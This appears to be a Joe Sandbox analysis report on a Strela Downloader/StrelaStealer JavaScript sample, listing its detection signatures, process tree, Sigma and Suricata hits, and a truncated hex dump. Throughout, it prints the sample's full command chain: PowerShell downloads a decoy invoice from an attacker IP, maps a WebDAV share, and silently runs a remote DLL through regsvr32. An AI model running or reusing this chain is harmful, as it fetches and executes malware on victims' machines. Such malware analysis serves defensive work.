Edit tour

Windows Analysis Report
1358019715229232264.js

Overview

General Information

Sample name:	1358019715229232264.js
Analysis ID:	1588000
MD5:	453a5754dca8e69825311e0d7a7bb0fa
SHA1:	b466236d7678e140b82f365619a09f445208c9d2
SHA256:	dfcd71a93381b5e48f7a80154195220a79ed0e983b8851d47bf55408420c7f91
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7496 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7584 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7628 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1624,i,9361814265493686063,13477829696629400152,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7836 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7496	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7628, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7628, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7836, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49746

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ProcessId: 7496, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7584, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7628, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7836, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8052, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7836, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1358019715229232264.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7584, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:24:11.068839+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49746	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:24:08.929425+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49732	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1358019715229232264.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1358019715229232264.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49746 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:24:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 